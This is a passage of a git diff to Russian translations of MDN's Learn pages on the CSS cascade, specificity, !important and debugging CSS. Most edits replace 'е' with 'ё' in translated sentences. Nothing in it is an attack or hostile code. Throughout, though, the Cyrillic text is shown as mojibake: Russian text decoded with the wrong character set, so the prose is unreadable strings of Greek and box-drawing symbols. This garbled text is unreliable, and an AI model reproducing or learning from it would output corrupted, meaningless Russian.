Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹ </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ ΠΎΠ΄Π½ΠΎΠ·Π½Π°Ρ‡Π½Ρ‹Π΅ Ρ†ΠΈΡ„Ρ€Ρ‹ Π² Ρ‡Π΅Ρ‚Ρ‹Ρ€Ρ‘Ρ… столбцах:</span></span></p>
<ol>
<li><strong>Высячи</strong>: ΠΏΠΎΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Π΄ΠΈΠ½ΠΈΡ†Ρƒ Π² эту ΠΊΠΎΠ»ΠΎΠ½ΠΊΡƒ, Ссли объявлСниС стиля находится Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("style")}} (встроСнныС стили). Π’Π°ΠΊΠΈΠ΅ объявлСния Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ сСлСкторов, поэтому ΠΈΡ… ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ всСгда просто 1000.</li>
@@ -253,7 +253,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
<ul>
<li><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠ΅Ρ€Π²Ρ‹Π΅ Π΄Π²Π° ΠΏΡ€Π°Π²ΠΈΠ»Π° ΠΊΠΎΠ½ΠΊΡƒΡ€ΠΈΡ€ΡƒΡŽΡ‚ Π·Π° ΡΡ‚ΠΈΠ»ΠΈΠ·Π°Ρ†ΠΈΡŽ Ρ†Π²Π΅Ρ‚Π° Ρ„ΠΎΠ½Π° ссылки </span></span> β€” <span class="tlid-translation translation" lang="ru"><span title=""> Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ΠΈΠ³Ρ€Ρ‹Π²Π°Π΅Ρ‚ ΠΈ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ синим, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρƒ Π½Π΅Π³ΠΎ Π΅ΡΡ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ сСлСктор ID Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅: Π΅Π³ΠΎ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ 201 ΠΏΡ€ΠΎΡ‚ΠΈΠ² 101.</span></span></li>
- <li><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ€Π΅Ρ‚ΡŒΠ΅ ΠΈ Ρ‡Π΅Ρ‚Π²Π΅Ρ€Ρ‚ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΊΠΎΠ½ΠΊΡƒΡ€ΠΈΡ€ΡƒΡŽΡ‚ Π·Π° ΡΡ‚ΠΈΠ»ΠΈΠ·Π°Ρ†ΠΈΡŽ Ρ†Π²Π΅Ρ‚Π° тСкста ссылки </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ΠΈΠ³Ρ€Ρ‹Π²Π°Π΅Ρ‚ ΠΈ Π΄Π΅Π»Π°Π΅Ρ‚ тСкст Π±Π΅Π»Ρ‹ΠΌ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ, хотя Ρƒ Π½Π΅Π³ΠΎ Π½Π° ΠΎΠ΄ΠΈΠ½ сСлСктор элСмСнта мСньшС, ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ сСлСктор замСняСтся Π½Π° сСлСктор класса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ оцСниваСтся Π² Π΄Π΅ΡΡΡ‚ΡŒ вмСсто Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹</span><span title="">.</span> <span title="">Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, приоритСтная ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ составляСт 113 ΠΏΡ€ΠΎΡ‚ΠΈΠ² 104.</span></span></li>
+ <li><span class="tlid-translation translation" lang="ru"><span title="">Π’Ρ€Π΅Ρ‚ΡŒΠ΅ ΠΈ Ρ‡Π΅Ρ‚Π²Ρ‘Ρ€Ρ‚ΠΎΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ ΠΊΠΎΠ½ΠΊΡƒΡ€ΠΈΡ€ΡƒΡŽΡ‚ Π·Π° ΡΡ‚ΠΈΠ»ΠΈΠ·Π°Ρ†ΠΈΡŽ Ρ†Π²Π΅Ρ‚Π° тСкста ссылки </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> Π²Ρ‚ΠΎΡ€ΠΎΠ΅ Π²Ρ‹ΠΈΠ³Ρ€Ρ‹Π²Π°Π΅Ρ‚ ΠΈ Π΄Π΅Π»Π°Π΅Ρ‚ тСкст Π±Π΅Π»Ρ‹ΠΌ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ, хотя Ρƒ Π½Π΅Π³ΠΎ Π½Π° ΠΎΠ΄ΠΈΠ½ сСлСктор элСмСнта мСньшС, ΠΎΡ‚ΡΡƒΡ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ сСлСктор замСняСтся Π½Π° сСлСктор класса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ оцСниваСтся Π² Π΄Π΅ΡΡΡ‚ΡŒ вмСсто Π΅Π΄ΠΈΠ½ΠΈΡ†Ρ‹</span><span title="">.</span> <span title="">Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, приоритСтная ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ составляСт 113 ΠΏΡ€ΠΎΡ‚ΠΈΠ² 104.</span></span></li>
<li><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€Π°Π²ΠΈΠ»Π° 5–7 ΡΠΎΡ€Π΅Π²Π½ΡƒΡŽΡ‚ΡΡ Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ стиля Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ ссылки ΠΏΡ€ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠΈ курсора.</span> <span title="">ШСстой сСлСктор со ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒΡŽ 23 явно ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°Π΅Ρ‚ пятому со ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒΡŽ 24 </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> Ρƒ Π½Π΅Π³ΠΎ Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ Π½Π° ΠΎΠ΄ΠΈΠ½ сСлСктор элСмСнта мСньшС.</span> <span title="">БСдьмой сСлСктор, ΠΎΠ΄Π½Π°ΠΊΠΎ, прСвосходит ΠΊΠ°ΠΊ пятый, Ρ‚Π°ΠΊ ΠΈ ΡˆΠ΅ΡΡ‚ΠΎΠΉ </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> </span></span><span class="tlid-translation translation" lang="ru"><span title="">ΠΎΠ½ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚ΠΎ ΠΆΠ΅ количСство подсСлСкторов Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅, Ρ‡Ρ‚ΠΎ ΠΈ пятый, Π½ΠΎ ΠΎΠ΄ΠΈΠ½ элСмСнт Π·Π°ΠΌΠ΅Π½Ρ‘Π½ сСлСктором класса.</span> <span title="">Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, приоритСтная ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ 33 ΠΏΡ€ΠΎΡ‚ΠΈΠ² 23 ΠΈ 24.</span></span></li>
</ul>
@@ -271,12 +271,12 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
<p>{{EmbedGHLiveSample("css-examples/learn/cascade/important.html", '100%', 700)}}Β </p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">Π”Π°Π²Π°ΠΉΡ‚Π΅ пройдСмся ΠΏΠΎ этому ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ происходит </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ свойства, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ получится, Ссли Π²Π°ΠΌ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ:</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">Π”Π°Π²Π°ΠΉΡ‚Π΅ пройдёмся ΠΏΠΎ этому ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ происходит </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ свойства, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ получится, Ссли Π²Π°ΠΌ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ:</span></span></p>
<ol>
<li>Π’Ρ‹ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ значСния {{cssxref("color")}} ΠΈ {{cssxref("padding")}} Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅Π³ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»Π°, Π½ΠΎ {{cssxref("background-color")}} β€” Π½Π΅Ρ‚. ΠŸΠΎΡ‡Π΅ΠΌΡƒ? <span class="tlid-translation translation" lang="ru"><span title="">Π”Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, всС Ρ‚Ρ€ΠΈ бСзусловно Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΏΡ€Π°Π²ΠΈΠ»Π°, Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ·Π΄Π½ΠΈΠ΅ Π² порядкС слСдования, ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π±ΠΎΠ»Π΅Π΅ Ρ€Π°Π½Π½ΠΈΠ΅ ΠΏΡ€Π°Π²ΠΈΠ»Π°.</span></span></li>
- <li><span class="tlid-translation translation" lang="ru"><span title="">Однако Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π²Ρ‹ΠΈΠ³Ρ€Ρ‹Π²Π°ΡŽΡ‚, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ сСлСкторы классов ΠΈΠΌΠ΅ΡŽΡ‚ Π±ΠΎΠ»Π΅Π΅ Π²Ρ‹ΡΠΎΠΊΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ, Ρ‡Π΅ΠΌ сСлСкторы элСмСнтов.</span></span></li>
- <li>Оба элСмСнта ΠΈΠΌΠ΅ΡŽΡ‚ {{htmlattrxref("class")}} с Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <code>better</code>, Π½ΠΎ Ρƒ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ {{htmlattrxref("id")}} с Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <code>winning</code>. <span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ID ΠΈΠΌΠ΅ΡŽΡ‚ <em>Π΅Ρ‰Ρ‘ Π±ΠΎΠ»Π΅Π΅ Π²Ρ‹ΡΠΎΠΊΡƒΡŽ</em> ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ, Ρ‡Π΅ΠΌ классы (Ρƒ вас ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ элСмСнт с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ ID Π½Π° страницС, Π½ΠΎ ΠΌΠ½ΠΎΠ³ΠΎ элСмСнтов с ΠΎΠ΄Π½ΠΈΠΌ ΠΈ Ρ‚Π΅ΠΌ ΠΆΠ΅ классом </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> сСлСкторы ID <em>ΠΎΡ‡Π΅Π½ΡŒ спСцифичны</em>, Π½Π° Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΈ Π½Π°Ρ†Π΅Π»Π΅Π½Ρ‹), красный Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈ однопиксСльная</span> <span title="">чСрная Π³Ρ€Π°Π½ΠΈΡ†Π° Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ ΠΊΠΎ 2-ΠΌΡƒ элСмСнту, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ сСрый Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΈ отсутствиС Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ классом.</span></span></li>
+ <li><span class="tlid-translation translation" lang="ru"><span title="">Однако Π²Ρ‹ΡˆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹Π΅ ΠΏΡ€Π°Π²ΠΈΠ»Π° Π²Ρ‹ΠΈΠ³Ρ€Ρ‹Π²Π°ΡŽΡ‚, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ сСлСкторы классов ΠΈΠΌΠ΅ΡŽΡ‚ Π±ΠΎΠ»Π΅Π΅ Π²Ρ‹ΡΠΎΠΊΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ, Ρ‡Π΅ΠΌ сСлСкторы элСмСнтов.</span></span></li>
+ <li>Оба элСмСнта ΠΈΠΌΠ΅ΡŽΡ‚ {{htmlattrxref("class")}} с Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <code>better</code>, Π½ΠΎ Ρƒ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ Π΅ΡΡ‚ΡŒ {{htmlattrxref("id")}} с Π½Π°Π·Π²Π°Π½ΠΈΠ΅ΠΌ <code>winning</code>. <span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ID ΠΈΠΌΠ΅ΡŽΡ‚ <em>Π΅Ρ‰Ρ‘ Π±ΠΎΠ»Π΅Π΅ Π²Ρ‹ΡΠΎΠΊΡƒΡŽ</em> ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ, Ρ‡Π΅ΠΌ классы (Ρƒ вас ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ элСмСнт с ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΡƒΠ½ΠΈΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ ID Π½Π° страницС, Π½ΠΎ ΠΌΠ½ΠΎΠ³ΠΎ элСмСнтов с ΠΎΠ΄Π½ΠΈΠΌ ΠΈ Ρ‚Π΅ΠΌ ΠΆΠ΅ классом </span></span>β€”<span class="tlid-translation translation" lang="ru"><span title=""> сСлСкторы ID <em>ΠΎΡ‡Π΅Π½ΡŒ спСцифичны</em>, Π½Π° Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΈ Π½Π°Ρ†Π΅Π»Π΅Π½Ρ‹), красный Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈ однопиксСльная</span> <span title="">чёрная Π³Ρ€Π°Π½ΠΈΡ†Π° Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½Ρ‹ ΠΊΠΎ 2-ΠΌΡƒ элСмСнту, ΠΏΡ€ΠΈΡ‡Ρ‘ΠΌ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ элСмСнт ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ сСрый Ρ„ΠΎΠ½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΈ отсутствиС Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, ΠΊΠ°ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΎ классом.</span></span></li>
<li><span class="tlid-translation translation" lang="ru"><span title="">2-ΠΉ элСмСнт ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» красный Ρ†Π²Π΅Ρ‚ Ρ„ΠΎΠ½Π° ΠΈ отсутствиС Π³Ρ€Π°Π½ΠΈΡ†Ρ‹.</span> ΠŸΠΎΡ‡Π΅ΠΌΡƒ<span title="">?</span> </span> Из-Π·Π° объявлСния <code>!important</code> Π²ΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π΅ β€” Ρ€Π°Π·ΠΌΠ΅Ρ‰Π΅Π½ΠΈΠ΅ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ послС <code>border: none</code> <span class="tlid-translation translation" lang="ru"><span title="">ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ это объявлСниС пСрСвСсит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€Π°Π²ΠΈΠ»Π΅, Π΄Π°ΠΆΠ΅ Ссли ID ΠΈΠΌΠ΅Π΅Ρ‚ Π±ΠΎΠ»Π΅Π΅ Π²Ρ‹ΡΠΎΠΊΡƒΡŽ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ.</span></span></li>
</ol>
@@ -316,7 +316,7 @@ translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
<p><span class="tlid-translation translation" lang="ru"><span title="">Если Π²Ρ‹ Π½Π΅ Π΄ΠΎ ΠΊΠΎΠ½Ρ†Π° поняли каскад, ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΡ‡Π½ΠΎΡΡ‚ΡŒ ΠΈ наслСдованиС, Π½Π΅ Π²ΠΎΠ»Π½ΡƒΠΉΡ‚Π΅ΡΡŒ!</span> <span title="">Π­Ρ‚ΠΎ, бСзусловно, самая слоТная Π²Π΅Ρ‰ΡŒ ΠΈΠ· Ρ‚Π΅Ρ…, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π΄ΠΎ сих ΠΏΠΎΡ€Β  ΠΈΠ·ΡƒΡ‡Π°Π»ΠΈ Π² курсС, ΠΈ Π΄Π°ΠΆΠ΅ ΠΏΡ€ΠΎΡ„Π΅ΡΡΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ Π²Π΅Π±-Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΈΠ½ΠΎΠ³Π΄Π° ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ Π΅Ρ‘ ΠΊΠΎΠ²Π°Ρ€Π½ΠΎΠΉ.</span> <span title="">ΠœΡ‹ совСтуСм Π²Π°ΠΌ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒΡΡ ΠΊ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ нСсколько Ρ€Π°Π· Π² Ρ…ΠΎΠ΄Π΅ изучСния курса ΠΈ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒ ΠΎΠ±Π΄ΡƒΠΌΡ‹Π²Π°Ρ‚ΡŒ эту Ρ‚Π΅ΠΌΡƒ.</span></span></p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ сюда, Ссли Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ со странными ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌΠΈ, ΠΊΠΎΠ³Π΄Π° стили ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π½Π΅ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅.</span> <span title="">Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ спСцифичности.</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ΡΡŒ сюда, Ссли Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ со странными ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ°ΠΌΠΈ, ΠΊΠΎΠ³Π΄Π° стили ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π½Π΅ Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅.</span> <span title="">Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ спСцифичности.</span></span></p>
<p>{{NextMenu("Learn/CSS/Building_blocks/Selectors", "Learn/CSS/Building_blocks")}}</p>
diff --git a/files/ru/learn/css/building_blocks/debugging_css/index.html b/files/ru/learn/css/building_blocks/debugging_css/index.html
index ceb299bcab..6ba3afd75a 100644
--- a/files/ru/learn/css/building_blocks/debugging_css/index.html
+++ b/files/ru/learn/css/building_blocks/debugging_css/index.html
@@ -5,7 +5,7 @@ translation_of: Learn/CSS/Building_blocks/Debugging_CSS
---
<div>{{LearnSidebar}}{{PreviousMenuNext("Learn/CSS/Building_blocks/Styling_tables", "Learn/CSS/Building_blocks/Organizing", "Learn/CSS/Building_blocks")}}</div>
-<p>ΠŸΠΎΡ€ΠΎΠΉ, ΠΏΡ€ΠΈ написании CSS, Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡ с ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ CSS Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Π΅Π³ΠΎ Π²Ρ‹ ΠΎΠΆΠΈΠ²Π°Π΅Ρ‚Π΅ ΠΎΡ‚ Π½Π΅Π³ΠΎ. <span class="tlid-translation translation" lang="ru"><span title="">Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Ρ‹ считаСтС, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ сСлСктор Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ элСмСнту, Π½ΠΎ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ происходит, ΠΈΠ»ΠΈ ΠΏΠΎΠ»Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€, ΠΎΡ‚Π»ΠΈΡ‡Π½Ρ‹ΠΉ ΠΎΡ‚ ΠΎΠΆΠΈΠ΄Π°Π΅ΠΌΠΎΠ³ΠΎ.</span></span> Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ ΠΏΠΎΠΌΠΎΠΆΠ΅Ρ‚ Π²Π°ΠΌ с Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ ΠΎΡ‚Π»Π°Π΄ΠΈΡ‚ΡŒ CSS ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ ΠΈ ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ Π²Π°ΠΌ ΠΊΠ°ΠΊ DevTools (инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°), Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹Π΅ Π²ΠΎ всС соврСмСнныС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΠΎΠΌΠΎΡ‡ΡŒ Ρ€Π°Π·ΠΎΠ±Ρ€Π°Ρ‚ΡŒΡΡ с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ происходит.</p>
+<p>ΠŸΠΎΡ€ΠΎΠΉ, ΠΏΡ€ΠΈ написании CSS, Π²Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚Π΅ ΡΡ‚Π°Π»ΠΊΠΈΠ²Π°Ρ‚ΡŒΡΡ с ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ, ΠΏΡ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠ°Π·Π°Ρ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ CSS Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Π΅Π³ΠΎ Π²Ρ‹ ΠΎΠΆΠΈΠ²Π°Π΅Ρ‚Π΅ ΠΎΡ‚ Π½Π΅Π³ΠΎ. <span class="tlid-translation translation" lang="ru"><span title="">Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π²Ρ‹ считаСтС, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ сСлСктор 